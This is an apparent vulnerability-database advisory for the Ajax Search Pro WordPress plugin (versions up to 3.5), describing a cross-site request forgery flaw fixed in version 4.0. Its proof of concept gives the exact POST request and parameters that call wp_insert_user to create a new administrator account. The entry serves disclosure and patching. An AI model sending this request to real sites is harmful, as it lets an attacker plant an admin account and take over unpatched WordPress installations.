Ajax Search Pro <= 3.5 - Cross-Site Request Forgery (CSRF) Add User



Proof of Concept
This will register an administrator with username "xADMIN" and password "xPASS":

POST request to: /wp-admin/admin-ajax.php?page=ajax-search-pro/backend/settings.php&action=wpdreams-ajaxinput

With POST data:
wpdreams_callback=wp_insert_user&user_login=xADMIN&user_pass=xPASS&role=administrator

Affects Plugin

fixed in version 4.0

References

PacketStorm 130955
URL https://web.archive.org/web/20150619084745/https://research.evex.pw/?vuln=9

Classification

Type CSRF
CWE CWE-352

Miscellaneous

Submitter A. Samman
Submitter Twitter Evex_1337
Views 7312
Verified No
WPVDB ID 7859

Timeline

Publicly Published 2015-03-18 (over 5 years ago)
Added 2015-03-21 (over 5 years ago)
Last Updated 2019-10-21 (9 months ago)

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